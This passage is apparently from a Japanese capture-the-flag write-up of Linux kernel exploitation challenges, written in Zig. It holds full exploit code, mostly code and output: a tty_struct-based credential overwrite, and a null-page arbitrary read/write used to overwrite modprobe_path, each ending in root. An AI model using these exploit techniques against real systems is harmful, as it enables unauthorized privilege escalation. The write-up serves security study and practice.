    var buf: [@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
    _ = try std.posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - ptmx_fops_addr;
}

fn leakHeap(fd: std.posix.fd_t) !u64 {
    const offset = comptime blk: {
        const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
        break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
    };
    var buf: [offset]u8 = undefined;
    _ = try std.posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - (buf.len-8);
}

fn ret2win() noreturn {
    std.debug.print("[INFO] You won!!\n", .{});

    const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
    const env = [_:null]?[*:0]u8{};
    switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
        else => unreachable,
    }
    unreachable;
}

pub fn main() !void {
    const fd = try race();
    const tty = try getTty(fd);

    const kaslr_offset = try leakKASLROffset(fd);
    std.debug.print("[INFO] Kernel base: 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
    adjust_offsets(kaslr_offset);

    const g_buf = try leakHeap(fd);

    _ = try std.posix.prctl(.SET_NAME, .{@intFromPtr("okamikun"), 0, 0, 0});

    var addr: usize = g_buf - 0x1000000;
    const creds = while (addr < g_buf + 0x1000000) : (addr += 0x8) {
        if ((addr & 0xfffff) == 0)
            std.debug.print("searching... 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&addr)), .lower)});
        if (std.mem.eql(u8, "okamikun", std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr), try aar(fd, tty, g_buf, addr+0x4)}))) {
            // task_struct is huge, I ain't copying that!
            // just remember that `comm` comes immediately after `creds`.
            break std.mem.readInt(u64, @ptrCast(std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr-0x8), try aar(fd, tty, g_buf, (addr-0x8)+0x4)})), .little);
        }
    } else return error.HeapScanFailed;

    std.debug.print("[INFO] task_struct.creds = 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&creds)), .lower)});

    for (&[_]u64{@offsetOf(cred, "uid"), @offsetOf(cred, "euid")}) |offset|
        try aaw(fd, tty, g_buf, 0, creds+offset);

    ret2win();
}

const cred = extern struct {
    usage: u32,
    uid: u32,
	gid: u32,
	suid: u32,
	sgid: u32,
	euid: u32,
	egid: u32,
	fsuid: u32,
	fsgid: u32,
};
whoami: unknown uid 1337
[INFO] Won the race
[INFO] Heap spray failed on core 0, retrying on 1...
[INFO] Heap spray succeeded on core 1
[INFO] Kernel base: 0xffffffff9a800000
searching... 0xffff8ba002400000
searching... 0xffff8ba002500000
searching... 0xffff8ba002600000
searching... 0xffff8ba002700000
searching... 0xffff8ba002800000
searching... 0xffff8ba002900000
searching... 0xffff8ba002a00000
searching... 0xffff8ba002b00000
searching... 0xffff8ba002c00000
searching... 0xffff8ba002d00000
searching... 0xffff8ba002e00000
searching... 0xffff8ba002f00000
searching... 0xffff8ba003000000
searching... 0xffff8ba003100000
searching... 0xffff8ba003200000
searching... 0xffff8ba003300000
[INFO] task_struct.creds = 0xffff8ba0032c7680
[INFO] You won!!
root

ちょっとムラだが、root権限昇格した!

完全なexploit

Angus

Bash
extract-vmlinux bzImage > vmlinux

ま、この課題は単純明快だね。

Bash
pwn checksec angus.ko 2>&1
[*] './angus/qemu/rootfs/root/angus.ko'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x0)
    Stripped:   No
Bash
grep /proc/cpuinfo -q -e 'smep' && echo 'SMEP enabled'
grep /proc/cpuinfo -q -e 'smap' && echo 'SMAP enabled'
grep /sys/devices/system/cpu/vulnerabilities/meltdown -q -e 'PTI' && echo 'KPTI enabled'
grep /proc/cmdline -q -e 'nokaslr' || echo 'KASLR enabled'
SMEP enabled
KPTI enabled
KASLR enabled
Bash
grep /proc/kallsyms -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffffb8c00000 T startup_64
ffffffffb8c00040 T secondary_startup_64
ffffffffb8c00045 T secondary_startup_64_no_verify
ffffffffb8c00240 T __startup_64
ffffffffb8c005f0 T startup_64_setup_env
ffffffffb8c72810 T commit_creds
ffffffffb8c729b0 T prepare_kernel_cred
ffffffffb9400e10 T swapgs_restore_regs_and_return_to_usermode
Bash
# reboot and run again
grep /proc/kallsyms -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffffae600000 T startup_64
ffffffffae600040 T secondary_startup_64
ffffffffae600045 T secondary_startup_64_no_verify
ffffffffae600240 T __startup_64
ffffffffae6005f0 T startup_64_setup_env
ffffffffae672810 T commit_creds
ffffffffae6729b0 T prepare_kernel_cred
ffffffffaee00e10 T swapgs_restore_regs_and_return_to_usermode

Zig
const angus_ioctl = enum(u32) {
    INIT    = 0x13370001,
    SETKEY  = 0x13370002,
    SETDATA = 0x13370003,
    GETDATA = 0x13370004,
    ENCRYPT = 0x13370005,
    DECRYPT = 0x13370006,
};

const XorCipher = extern struct {
    key: [*]u8,
    data: [*]u8,
    keylen: usize,
    datalen: usize,
};

const request_t = extern struct {
    ptr: [*]u8,
    len: usize,
};

var zero_page: ?*allowzero XorCipher = null;
fn mmap_null() !*allowzero XorCipher {
    if (zero_page) |ret| {
        return ret;
    } else {
        const rc = std.os.linux.mmap(
            null,
            std.heap.page_size_min,
            std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
            std.posix.MAP{
                .TYPE = .PRIVATE,
                .FIXED = true,
                .ANONYMOUS = true,
                .POPULATE = true,
            },
            -1,
            0,
        );
        switch (std.posix.errno(rc)) {
            .SUCCESS => zero_page = @ptrFromInt(rc),
            .TXTBSY => return error.AccessDenied,
            .ACCES => return error.AccessDenied,
            .PERM => return error.PermissionDenied,
            .AGAIN => return error.LockedMemoryLimitExceeded,
            .BADF => unreachable,
            .OVERFLOW => unreachable,
            .NODEV => return error.MemoryMappingNotSupported,
            .INVAL => unreachable,
            .MFILE => return error.ProcessFdQuotaExceeded,
            .NFILE => return error.SystemFdQuotaExceeded,
            .NOMEM => return error.OutOfMemory,
            .EXIST => return error.MappingAlreadyExists,
            else => |err| return std.posix.unexpectedErrno(err),
        }
        return zero_page.?;
    }
}

fn aaw(fd: std.posix.fd_t, buf: []const u8, addr: usize) !void {
    var target_value: [128]u8 = undefined;
    std.debug.assert(buf.len <= target_value.len);
    try aar(fd, target_value[0..buf.len], addr);
    for (0..buf.len) |i| target_value[i] ^= buf[i];

    const ctx = try mmap_null();
    ctx.* = .{
        .key = @as([*]u8, &target_value),
        .keylen = buf.len,
        .data = @as([*]u8, @ptrFromInt(addr)),
        .datalen = buf.len,
    };

    const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.ENCRYPT), @intFromPtr(&request_t{ .ptr = @ptrFromInt(1), .len = 0 }));
    switch (std.posix.errno(err)) {
        .SUCCESS => {},
        else => return error.AAWFail,
    }
}

fn aar(fd: std.posix.fd_t, buf: []u8, addr: usize) !void {
    const ctx = try mmap_null();
    ctx.* = .{
        .key = @constCast(@ptrCast(&[_]u8{0})),
        .keylen = 1,
        .data = @as([*]u8, @ptrFromInt(addr)),
        .datalen = buf.len,
    };

    const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.GETDATA), @intFromPtr(&request_t{ .ptr = @as([*]u8, @ptrCast(@constCast(buf))), .len = buf.len }));
    switch (std.posix.errno(err)) {
        .SUCCESS => {},
        else => return error.AARFail,
    }
}

Zig
const std = @import("std");


const angus_ioctl = enum(u32) {
    INIT    = 0x13370001,
    SETKEY  = 0x13370002,
    SETDATA = 0x13370003,
    GETDATA = 0x13370004,
    ENCRYPT = 0x13370005,
    DECRYPT = 0x13370006,
};

const XorCipher = extern struct {
    key: [*]u8,
    data: [*]u8,
    keylen: usize,
    datalen: usize,
};

const request_t = extern struct {
    ptr: [*]u8,
    len: usize,
};

var zero_page: ?*allowzero XorCipher = null;
fn mmap_null() !*allowzero XorCipher {
    if (zero_page) |ret| {
        return ret;
    } else {
        const rc = std.os.linux.mmap(
            null,
            std.heap.page_size_min,
            std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
            std.posix.MAP{
                .TYPE = .PRIVATE,
                .FIXED = true,
                .ANONYMOUS = true,
                .POPULATE = true,
            },
            -1,
            0,
        );
        switch (std.posix.errno(rc)) {
            .SUCCESS => zero_page = @ptrFromInt(rc),
            .TXTBSY => return error.AccessDenied,
            .ACCES => return error.AccessDenied,
            .PERM => return error.PermissionDenied,
            .AGAIN => return error.LockedMemoryLimitExceeded,
            .BADF => unreachable,
            .OVERFLOW => unreachable,
            .NODEV => return error.MemoryMappingNotSupported,
            .INVAL => unreachable,
            .MFILE => return error.ProcessFdQuotaExceeded,
            .NFILE => return error.SystemFdQuotaExceeded,
            .NOMEM => return error.OutOfMemory,
            .EXIST => return error.MappingAlreadyExists,
            else => |err| return std.posix.unexpectedErrno(err),
        }
        return zero_page.?;
    }
}

fn aaw(fd: std.posix.fd_t, buf: []const u8, addr: usize) !void {
    var target_value: [128]u8 = undefined;
    std.debug.assert(buf.len <= target_value.len);
    try aar(fd, target_value[0..buf.len], addr);
    for (0..buf.len) |i| target_value[i] ^= buf[i];

    const ctx = try mmap_null();
    ctx.* = .{
        .key = @as([*]u8, &target_value),
        .keylen = buf.len,
        .data = @as([*]u8, @ptrFromInt(addr)),
        .datalen = buf.len,
    };

    const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.ENCRYPT), @intFromPtr(&request_t{ .ptr = @ptrFromInt(1), .len = 0 }));
    switch (std.posix.errno(err)) {
        .SUCCESS => {},
        else => return error.AAWFail,
    }
}

fn aar(fd: std.posix.fd_t, buf: []u8, addr: usize) !void {
    const ctx = try mmap_null();
    ctx.* = .{
        .key = @constCast(@ptrCast(&[_]u8{0})),
        .keylen = 1,
        .data = @as([*]u8, @ptrFromInt(addr)),
        .datalen = buf.len,
    };

    const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.GETDATA), @intFromPtr(&request_t{ .ptr = @as([*]u8, @ptrCast(@constCast(buf))), .len = buf.len }));
    switch (std.posix.errno(err)) {
        .SUCCESS => {},
        else => return error.AARFail,
    }
}

var MODPROBE_PATH: u64 = 0xffffffff81e37e60;

pub fn main() !void {
    const fd = try std.posix.open("/dev/angus", .{ .ACCMODE = .RDWR }, 0o660);
    defer std.posix.close(fd);

    var buf: [8]u8 = undefined;

    var kaddr: usize = 0xffffffff81000000;
    while (kaddr < 0xffffffff80000000+0x40000000) : (kaddr += 0x100000) {
        if (aar(fd, &buf, kaddr)) {
            std.debug.print("[INFO] Kernel base address: 0x{x}\n", .{kaddr});
            break;
        } else |_| {}
    } else return error.KBaseAddressScanFailed;

    MODPROBE_PATH += kaddr-0xffffffff81000000;

    try aaw(fd, "/tmp/x\x00", MODPROBE_PATH);

    modprobePath();
}
Bash
whoami
./exploit
/tmp/unknown &> /tmp/null
cat /tmp/whoisit
whoami: unknown uid 1337
[INFO] Kernel base address: 0xffffffffb3400000
[INFO] You won!!
root

  1. https://elixir.bootlin.com/linux/v5.10.7/source/include/linux/tty.h#L285-L345 ↩︎

  2. pwnの文脈に​tty_struct​を利用するの詳細につてはこちらこちらです。 ↩︎

  3. read​や​write​等は他のセキュリティー対策があるらしいので、とりあえず​ioctl​を利用する。 ↩︎

  4. SLUB Internals for Exploit Developers ↩︎

  5. Linux SLUB Allocator Internals and Debugging, Part 1 of 4 ↩︎